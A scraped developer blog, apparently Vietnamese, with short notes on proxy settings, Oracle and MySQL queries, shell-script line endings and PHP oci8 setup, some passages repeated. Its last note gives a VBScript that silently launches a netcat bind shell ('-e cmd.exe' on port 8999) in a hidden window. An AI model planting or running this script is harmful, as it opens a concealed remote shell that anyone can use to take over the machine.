set proxy to run composer, npm, bower and git
Nodejs:
npm config set proxy http://192.168.193.23:3128
npm config set https-proxy http://192.168.193.23:3128
bower: lúc dùng bower install
set thêm trong file .bowerrc
{
"proxy":"http://192.168.193.23:3128",
"https-proxy":"http://192.168.193.23:3128"
}
git:
git config --global http.proxy 192.168.193.23:3128
Composer:
set HTTP_PROXY=http://192.168.193.23:3128
set HTTPS_PROXY=http://192.168.193.23:3128
Oracle Case Insensitive Sorts & Compares
Features of Oracle 10gR2 but this article is very useful for me. It explain very clearly about case insensitive
Here is the content of article
Thank you! Natalka Roshak.
To get us started, here's a simple sample table with a few rows in it.
Here is the content of article
Thank you! Natalka Roshak.
To get us started, here's a simple sample table with a few rows in it.
SQL> select * from invoice_demo order by invoice_id SQL> / INVOICE_ID SUPPLIER_NAME ---------- ------------------------------ 1000 Max Books 1001 MAX BOOKS 1002 max books 1003 janus pet supply
mysql - create partition by date range
CREATE TABLE `register_log` ( `id` bigint(20) NOT NULL AUTO_INCREMENT , `msisdn` varchar(15) NOT NULL , `reg_time` datetime NULL DEFAULT NULL , PRIMARY KEY (`id`,`reg_time`), INDEX `msisdn_idx` (`msisdn`, `reg_time`) USING BTREE ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci PARTITION BY RANGE( TO_DAYS(reg_time) ) ( PARTITION p20160601 VALUES LESS THAN (TO_DAYS('2016-06-01')), PARTITION p20160701 VALUES LESS THAN (TO_DAYS('2016-07-01')), PARTITION p20160801 VALUES LESS THAN (TO_DAYS('2016-08-01')), PARTITION p20160901 VALUES LESS THAN (TO_DAYS('2016-09-01')), PARTITION p20161001 VALUES LESS THAN (TO_DAYS('2016-10-01')), PARTITION p20161101 VALUES LESS THAN (TO_DAYS('2016-11-01')), PARTITION p20161201 VALUES LESS THAN (TO_DAYS('2016-12-01')), PARTITION p20170101 VALUES LESS THAN (TO_DAYS('2017-01-01')), PARTITION p20170201 VALUES LESS THAN (TO_DAYS('2017-02-01')), PARTITION p20170301 VALUES LESS THAN (TO_DAYS('2017-03-01')), PARTITION p20170401 VALUES LESS THAN (TO_DAYS('2017-04-01')), PARTITION p20170501 VALUES LESS THAN (TO_DAYS('2017-05-01')), PARTITION p20170601 VALUES LESS THAN (TO_DAYS('2017-06-01')), PARTITION p20170701 VALUES LESS THAN (TO_DAYS('2017-07-01')), PARTITION p20170801 VALUES LESS THAN (TO_DAYS('2017-08-01')), PARTITION p20170901 VALUES LESS THAN (TO_DAYS('2017-09-01')), PARTITION p20171001 VALUES LESS THAN (TO_DAYS('2017-10-01')), PARTITION p20171101 VALUES LESS THAN (TO_DAYS('2017-11-01')), PARTITION p20171201 VALUES LESS THAN (TO_DAYS('2017-12-01')), PARTITION p20180101 VALUES LESS THAN (TO_DAYS('2018-01-01')), PARTITION p20180201 VALUES LESS THAN (TO_DAYS('2018-02-01')), PARTITION p20180301 VALUES LESS THAN (TO_DAYS('2018-03-01')), PARTITION p20180401 VALUES LESS THAN (TO_DAYS('2018-04-01')), PARTITION p20180501 VALUES LESS THAN (TO_DAYS('2018-05-01')), PARTITION p20180601 VALUES LESS THAN (TO_DAYS('2018-06-01')), PARTITION p20180701 VALUES LESS THAN (TO_DAYS('2018-07-01')), PARTITION p20180801 VALUES LESS THAN (TO_DAYS('2018-08-01')), PARTITION p20180901 VALUES LESS THAN (TO_DAYS('2018-09-01')), PARTITION p20181001 VALUES LESS THAN (TO_DAYS('2018-10-01')), PARTITION p20181101 VALUES LESS THAN (TO_DAYS('2018-11-01')), PARTITION p20181201 VALUES LESS THAN (TO_DAYS('2018-12-01')), PARTITION p20190101 VALUES LESS THAN (TO_DAYS('2019-01-01')), PARTITION p20190201 VALUES LESS THAN (TO_DAYS('2019-02-01')), PARTITION p20190301 VALUES LESS THAN (TO_DAYS('2019-03-01')), PARTITION p20190401 VALUES LESS THAN (TO_DAYS('2019-04-01')), PARTITION p20190501 VALUES LESS THAN (TO_DAYS('2019-05-01')), PARTITION p20190601 VALUES LESS THAN (TO_DAYS('2019-06-01')), PARTITION p20190701 VALUES LESS THAN (TO_DAYS('2019-07-01')), PARTITION p20190801 VALUES LESS THAN (TO_DAYS('2019-08-01')), PARTITION p20190901 VALUES LESS THAN (TO_DAYS('2019-09-01')), PARTITION p20191001 VALUES LESS THAN (TO_DAYS('2019-10-01')), PARTITION p20191101 VALUES LESS THAN (TO_DAYS('2019-11-01')), PARTITION p20191201 VALUES LESS THAN (TO_DAYS('2019-12-01')) );
Linux - Can't run Bash script .sh created on window system
I have a very simple .sh file, it contains some delete command to delete some files.
I create this file on Window then upload to Linux server to run.
I've already change Execute mode for this file but can not run it.
This is the important reason & an important experience :)
Because my file is created on window, so it will be saved with window format --> You have to convert it to Linux format if you want to run it.
- Open your file in Linux server: vi yourfile.sh
- Run this command to convert :set fileformat=unix
I create this file on Window then upload to Linux server to run.
I've already change Execute mode for this file but can not run it.
This is the important reason & an important experience :)
Because my file is created on window, so it will be saved with window format --> You have to convert it to Linux format if you want to run it.
- Open your file in Linux server: vi yourfile.sh
- Run this command to convert :set fileformat=unix
Insert unicode character into Oracle
1. Check & set some database parameters
select * from nls_database_parameters where parameter like '%SET';2. Set environment in your PC or your Server (important)
2.1. Your PC (window)- Right click to MyComputer > Properties > Advance system settings > Environment variables > system variables
- Click new, add new variable:
name: NLS_LANG
value: AMERICAN_AMERICA.AL32UTF8
- Try to log out/ log in again or restart your PC
2.2. Your linux server
Run command:
export NLS_LANG=AMERICAN_AMERICA.AL32UTF8
Or insert this command at the end of /etc/profile
Configure at the end of file: php/etc/php-fpm.conf
env[NLS_LANG] = $NLS_LANG
Restart php-fpm
Enable php_oci8.dll on window
Because xampp does not have 64bit version for window
So, here is the solution to resolve some issues below:
1. Warning: PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - %1 is not a valid Win32 application.
2. PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - The specified module could not be found.
Solution:
1. Download oracle instanceclient 32bit
http://www.oracle.com/technetwork/topics/winsoft-085727.html
(instantclient-basic-nt-12.1.0.2.0.zip)
2. Extract instantclient (Ex: D:\instantclient_12_1)
3. Configure Windows PATH environment variable, add more:
D:\xampp\php\ext;D:\instantclient_12_1
4. Configure php.ini, enable extension php_oci.dll
extension=php_oci8.dll (remove ; character)
Note: check your oracleclient version (11g, 12c, ...), if cannot enable php_oci8, try to download files from here: http://windows.php.net/downloads/pecl/releases/oci8/2.0.8/php_oci8-2.0.8-5.6-ts-vc11-x86.zip
extract those files to xampp/php/ext/ folder, then restart apache again
5. Restart xampp or restart PC (if necessary)
6. Check again
C:\Users\namdt5>php -m | find "oci"
oci8
Done.
So, here is the solution to resolve some issues below:
1. Warning: PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - %1 is not a valid Win32 application.
2. PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_oci8.dll' - The specified module could not be found.
Solution:
1. Download oracle instanceclient 32bit
http://www.oracle.com/technetwork/topics/winsoft-085727.html
(instantclient-basic-nt-12.1.0.2.0.zip)
2. Extract instantclient (Ex: D:\instantclient_12_1)
3. Configure Windows PATH environment variable, add more:
D:\xampp\php\ext;D:\instantclient_12_1
4. Configure php.ini, enable extension php_oci.dll
extension=php_oci8.dll (remove ; character)
Note: check your oracleclient version (11g, 12c, ...), if cannot enable php_oci8, try to download files from here: http://windows.php.net/downloads/pecl/releases/oci8/2.0.8/php_oci8-2.0.8-5.6-ts-vc11-x86.zip
extract those files to xampp/php/ext/ folder, then restart apache again
5. Restart xampp or restart PC (if necessary)
6. Check again
C:\Users\namdt5>php -m | find "oci"
oci8
Done.
run a command without open a command window
Use notepad, create a file such as: test.vbs
Content of the file:
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "F:\programs\nc\nc.exe -nlvp 8999 -e cmd.exe"
oShell.Run strArgs, 0, false
Refer:
http://msdn.microsoft.com/en-us/library/d5fk67ky.aspx
http://superuser.com/questions/140047/how-to-run-a-batch-file-without-launching-a-command-window
http://www.k4linux.com/2015/08/kali-linux-20-tutorials-metasploit-first-run.html
Content of the file:
Set oShell = CreateObject ("Wscript.Shell")
Dim strArgs
strArgs = "F:\programs\nc\nc.exe -nlvp 8999 -e cmd.exe"
oShell.Run strArgs, 0, false
Refer:
http://msdn.microsoft.com/en-us/library/d5fk67ky.aspx
http://superuser.com/questions/140047/how-to-run-a-batch-file-without-launching-a-command-window
http://www.k4linux.com/2015/08/kali-linux-20-tutorials-metasploit-first-run.html
Subscribe to:
Posts (Atom)